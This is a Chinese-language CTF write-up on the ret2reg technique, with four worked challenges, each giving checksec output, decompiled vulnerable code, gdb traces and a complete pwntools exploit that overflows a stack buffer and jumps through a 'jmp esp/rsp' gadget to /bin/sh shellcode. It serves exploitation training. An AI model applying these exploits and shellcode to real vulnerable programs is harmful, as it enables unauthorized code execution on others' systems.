ret2reg


利用原理

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。

一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。

该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。

只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。

利用思路

主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令

  1. 分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的shellcode
  2. 查找call regjmp reg,将指令所在的地址填到EIP位置,即返回地址
  3. reg指向的空间上注入shellcode

例题

rsp_shellcode

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int test = 0;

int main() {
char input[100];

puts("Get me with shellcode and RSP!");
gets(input);

if(test) {
asm("jmp *%rsp");
return 0;
}
else {
return 0;
}
}
  1. 查保护

没有NXcanary以及PIE保护,即栈可执行。

1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
  1. 分析

分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。

源代码中还内嵌了一个jmp rsp的汇编指令,猜测要通过ret2reg的方式打shellcode。

gdb调试发现在函数返回的时候rsp仍然指向缓冲区地址。

这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp来让rip指向缓冲区,然后我们再发送shellcode让程序执行shellcode。

先执行jmp rsp再发送shellcode是因为程序可以溢出很长的字节,我们可以先将rip指向缓冲区然后再发送shellcode执行。

1
*RSP  0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#查找程序gadget
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
b'a' * 120,
jmp_rsp,
asm(shellcraft.sh())
)
sla("RSP!\n",payload)
ia()

X-CTF Quals 2016 - b0verfl0w

  1. 查保护

32位程序无NXcanary以及PIE保护,栈可执行。

1
2
3
4
5
6
7
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
  1. 分析

ida反编译

程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int vul()
{
char s[32]; // [esp+18h] [ebp-20h] BYREF

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}

gdb动调调试发现rsp指向缓冲区。

1
*ESP  0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave

我们无法直接返回执行很长的shellcode,但是可以通过较短的汇编指令将栈帧进行一个迁移。

迁移到一个我们想要它执行的地方,比如payload的前部分。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode=asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
push 11
pop eax
int 0x80
""")

jmp_esp = next(elf.search(asm('jmp esp')))
payload = shellcode + (0x20 - len(shellcode)) * b'a' + b'aaaa' + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')
sl(payload)

ia()

[广东省大学生攻防大赛 2022]jmp_rsp

64位程序无NXPIE保护,栈可执行。

程序显示存在canary保护。

  1. 查保护
1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
  1. 分析

ida反编译查看main函数。

发现程序存在栈溢出,并且程序并没有进行canary检查。

所以这个canary是假的。

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v3; // cl
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

printf("this is a classic pwn", argv, envp, v3);
read(0, buf, 0x100uLL);
return 0;
}

gdb动调调试发现rsp指向栈空间。

同样,让rsp进行一个迁移即可。

1
*RSP  0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
sl(payload)

ia()

ciscn_2019_s_9

  1. 查保护

几乎没保护,可以尝试打shellcode。

1
2
3
4
5
6
7
8
➜  checksec ./ciscn_s_9
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
  1. 分析

分析main函数

发现关键函数pwn,进入查看。

1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return pwn();
}

分析函数发现,fgets向变量s从标准输入流读取了50个字符,所以存在栈溢出。

溢出了18个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

gdb动态调试发现,在pwn函数返回时esp是指向栈顶的。

而且我们在函数表中发现了jmp rsp指令,所以接下来的思路就很清晰了。

通过ret2reg打shellcode

但是我们只溢出了18个字节,并不足够写shellcode。

但是我们可以通过jmp esp执行sub esp指令来将栈进行一个迁移,然后执行我们的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg>
0x08048550 20 in pwn.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────
EAX 1
EBX 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
ECX 0x6c0
EDX 0xf7fa19b4 (_IO_stdfile_1_lock) ◂— 0
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffc364 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')
*EBP 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
*ESP 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4
*EIP 0x8048550 (pwn+149) ◂— ret
─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────
0x8048541 <pwn+134> push eax
0x8048542 <pwn+135> call fflush@plt <fflush@plt>

0x8048547 <pwn+140> add esp, 0x10 ESP => 0xffffc260 (0xffffc250 + 0x10)
0x804854a <pwn+143> mov eax, 1 EAX => 1
0x804854f <pwn+148> leave
0x8048550 <pwn+149> ret <main+22>
─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4
01:0004-008 0xffffc290 ◂— 1
02:0008-004 0xffffc294 —▸ 0xffffc2b0 ◂— 1
03:000c│ ebp 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
04:0010│+004 0xffffc29c —▸ 0xf7d97519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014│+008 0xffffc2a0 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')
06:0018│+00c 0xffffc2a4 ◂— 0x70 /* 'p' */
07:001c│+010 0xffffc2a8 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
0 0x8048550 pwn+149
1 0x804856f main+22
2 0xf7d97519 __libc_start_call_main+121
3 0xf7d975f3 __libc_start_main+147
4 0x80483e1 _start+33
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

jmp_esp = next(elf.search(asm('jmp esp')))
shellcode=b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
payload = shellcode + (36 - len(shellcode)) * b'a' + p32(jmp_esp) + asm('sub esp,40;jmp esp')
r()
sl(payload)

ia()

后言

参考链接:Using RSP | Cybersec (gitbook.io)